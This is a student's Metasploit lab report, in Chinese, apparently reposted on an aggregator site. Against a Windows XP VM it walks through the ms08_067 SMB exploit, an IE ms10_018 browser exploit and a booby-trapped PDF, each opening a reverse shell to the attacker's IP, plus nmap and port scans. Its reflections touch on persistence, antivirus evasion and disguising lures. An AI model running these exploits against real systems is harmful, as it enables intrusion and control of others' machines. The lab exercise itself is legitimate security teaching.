2019-2020-4 20174322童硕《网络对抗技术》Exp6 MSF基础应用

Posted 20174322-tong-shuo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2019-2020-4 20174322童硕《网络对抗技术》Exp6 MSF基础应用相关的知识,希望对你有一定的参考价值。

2019-2020-4 20174322童硕《网络对抗技术》Exp6 MSF基础应用

一、实验目标与基础知识

1.1 实践目标

 

  • 实践对象

    • Kali Linux
    • Windows XP
  • 实践内容

    • 成功主动攻击,如 ms08-067
    • 成功针对浏览器的攻击,如 ms11-050
    • 成功针对客户端的攻击,如 Adobe
    • 成功应用辅助模块的攻击

 

1.2 基础知识

1.2.1 msf 模块说明

  • Exploit模块
    • 渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
  • Payload模块
    • 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
  • Encoder模块
    • 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
  • Auxiliary模块
    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
  • Post模块
    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
  • Nop模块
    • 空字段模块

1.2.2 msf常用漏洞利用命令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets: 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name :使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

 


 

 二、实践内容

为了成功做完本实验,我在虚拟机上没少折腾。kali不知道为啥连不上物理机和winxp。我将虚拟机联网方式设为了桥接模式。桥接模式虚拟机和NAT模式虚拟机似乎是ping不通的,并且桥接模式下的虚拟机在联网方面更独立更自主,所以就都统一用了这种方式。

 

攻击渗透实验,需要用到两个虚拟机,一个作为攻击机,另一个作为被攻击的靶机,

攻击机为 kali :IP地址为 192.168.1.12 ;

靶机 为 Windows XP professional :IP地址为 192.168.1.11 。

尝试ping连接:

 

  •  Kali ping xp:

技术图片

  • Xp ping kali:

技术图片

 

nmap -sP 192.168.1.0/24(扫描在线的主机)

 技术图片

 2.1一个主动攻击实践

 在这一步的攻击实践,攻击机利用靶机存在的ms08_067号漏洞对靶机实施攻击。攻击之前,按照常规操作是要先扫描一下靶机是否存在这个漏洞,不存在的话就不用白忙活了,直接换漏洞。

扫描的命令是:

nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.11

#IP地址是靶机的

 技术图片

 

 这段命令的作用不只是扫描靶是否存在指定的漏洞ms08-067,还有其他参数在里面,-sS参数表示SYN扫描也就是半开扫描,旨在扫描开放端口;-A参数表示同时进行-sV和-O,也就是同时进行服务版本扫描和操作系统类型扫描;-PO表示进行一个IP协议ping。总之扫描选项是很多的,在实际攻击中可能确实需要这么多扫描项,不过针对本实验,只要扫描指定漏洞是否存在于靶机上即可。

 

确认漏洞存在后,下面就可以在kali上准备攻击了。

use exploit/windows/smb/ms08_067_netapi

set payload generic/shell_reverse_tcp

#show payloads可以查看选中漏洞下的全部攻击载荷,这里选的是一个可以进行命令行反弹连接的。

 技术图片

 

 启动msf控制台msfconsole,search ms08-067 查看漏洞的渗透模块

use exploit/windows/smb/ms08_067_netapi 进入该模块
show payloads 显示有效的攻击载荷

set payload generic/shell_reverse_tcp设置攻击的载荷
show options 可以查看到进行攻击需要设置的参数,Required 的列表下标记为yes 的为必须设置的项

技术图片

 

设置攻击机IP和靶机IP

set LHOST 192.168.1.12 //攻击机IP

set RHOSTS 192.168.1.11//靶机IP

输入run运行程序 能获取可用shell

技术图片

 

 

2.2浏览器漏洞(自己找的漏洞)

msf>search 关键词(搜索exploit利用的关键词,可以search -h 显示search的使用方法,根据CVE搜索辅助exploit payload。例如搜索CVE-2014-9427 #search cve 2017-9427)

 技术图片

 

 在这里我的浏览器攻击方式是自己找的ms10_018漏洞

从下图可以看出对于windows xp的IE浏览器还是很严重的,能够通过此漏洞越权执行代码,达到攻击的目的。

技术图片

 

 Internet Explorer 访问尚未正确初始化或已被删除的对象的方式中存在一个远程执行代码漏洞。 攻击者可以通过构建特制的网页来利用该漏洞。 当用户查看网页时,该漏洞可能允许远程执行代码。 成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。 如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户

Step1:进入msfconsole

Step2:search寻找ms10_018攻击模块

 技术图片

 Step3:使用第一个模块(use + 模块名称)

技术图片

 

 Step4:使用show options命令,查看需设置的参数

这里需要设置的是SRVHOST、URIPATH、LHOST、RHOST

技术图片

 

 Step5:设置SRVHST、LHOST、URIPATH、RHOST参数

技术图片

 

 Step6:run生成链接

 技术图片

 

 Step7:在WinXP系统用IE访问这个链接,可能需要多次访问才能成功

技术图片

 

Step10:kali成功获取连接

 技术图片

 

之后就可以对该主机进行一些越权的操作了:可以对WinXP系统进行远程登录、可以在该主机放入木马文件、删除文件等。

2.3一个针对客户端的攻击

 

攻击机:kali(192.168.1.12)
靶机:Windows XP(192.168.1.11)

 下载安装adobe

技术图片

 

msfconsole
use windows/fileformat/adobe_pdf_embedded_exe //选择攻击模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.12//攻击机 IP
set LPORT 4322
set FILENAME tongshuo4322.pdf//设置生成的pdf文件名

技术图片

 

 复制到winxp上

 在kali端设置监听

 技术图片

 

 在win xp中 打开pdf文件

kali端成功监听到连接,获得可用shell

 技术图片

2.4成功应用任何一个辅助模块

这里用的是MSF中的scanner/portscan/tcp

进入msf输入【show auxiliary】指令,查看可用的辅助模块。

技术图片

 

 选择了 scanner/portscan/tcp

模块,该模块用来探测靶机的开放的tcp端口,输入靶机的IP地址就行。系统自动检测

依次输入指令

  • · use scanner/portscan/tcp
  • · set RHOSTS 192.168.1.11
  • · exploit

便得到探测结果

 技术图片

 三、实验总结

   (1)用自己的话解释什么是exploit,payload,encode

    exploit是渗透攻击模块的名字,是Metasploit平台下的几大主要模块之一,它下面有大量针对各种漏洞编写的攻击工具。在平台里面设置好payload后往往要通过exploit或run来执行它,此时exploit就是执行的意思,执行效果和实验一中的Perl语言类似,都是把攻击代码注入到缓冲区当中。

    payload就是载荷,负载的东西的东西。在实验环境中它就是指一段指令或者说是shellcode,这段指令破解权限边界,起到了很关键的攻击作用。

    encode是指编码,对一段机器指令进行与运算,得到的结果是指令的伪装形式,有编码也有解码,编码在一定程度上可以起到免杀的效果。但是效果有限

 

(2) 离实战还差什么技术或步骤?

    在做浏览器漏洞入侵的时候,这个漏洞可以让攻击方在靶机申请一个新用户,达到远程控制的目的,从实验过程来看,当入侵靶机成功后,就要提高攻击方在靶机中的权限,在最高权限下没有什么是做不到的,有了root权限可以想办法让自己长期驻留在靶机中,所以在实验中可调整的余地还很大。另外,还需要做好伪装,因为我在本实验中无论是pdf文件还是钓鱼网页,都是我一手操办的,打开后都是明显乱码,很容易被发现,实战中就要想办法让对方主动接受,那么就需要做好精致的伪装。如果想通过靶机攻击其局域网内的其他目标,还得想办法突破对方所在网络的防火墙集线器、交换机等设施。

 

(3)实验总结

    本实验的关键之处在于找到合适的、可攻击的漏洞,(这里可参考:windows漏洞列表)所以我们会去找一些版本较老的操作系统、找一些版本很旧的客户端,因为这些目标存在的漏洞相对较多一些,所谓的更新就是弥补漏洞、开发新功能、优化用户体验的过程,所以在上个实验的漏洞扫描中看到的解决漏洞的办法大多数都是更新。如果虚拟机找不对的话,本实验将会很难开展。找虚拟机的目标,不是越好越好,而是越差越好,这里说的衡量好和差的标准主要是漏洞的难易程度,更简单的漏洞攻击起来也简单,但是更容易被修正。

    找到了合适的漏洞,攻击起来还是较为容易的,往往是查看options,看有哪些需要设置的内容,正确设置即可开始攻击了。基本操作都是利用 msf 来实现漏洞攻击,步骤也很简单,扫描靶机是否有漏洞,配置好载荷,设置好ip地址和端口号,就可以进行入侵。这里有个特点,一些版本较老的操作系统、找一些版本很旧的客户端,这些目标存在的漏洞相对较多一些,这样攻击的成功率会高。所谓的更新就是弥补漏洞、开发新功能、优化用户体验的过程,所以在上个实验的漏洞扫描中看到的解决漏洞的办法大多数都是更新。

 

 

以上是关于2019-2020-4 20174322童硕《网络对抗技术》Exp6 MSF基础应用的主要内容,如果未能解决你的问题,请参考以下文章

2019-2020-4 网络对抗技术 20175206李得琛 Exp4 恶意代码分析

# 2019-2020-4 《Java 程序设计》结对项目总结

#2019-2020-4 《Java 程序设计》第九周总结

# 2019-2020-4 《Java 程序设计》第六周总结

比赛:ICPC Asia Taipei-Hsinchu Regional 2019 2020.4.1

计算机网络-k8s网络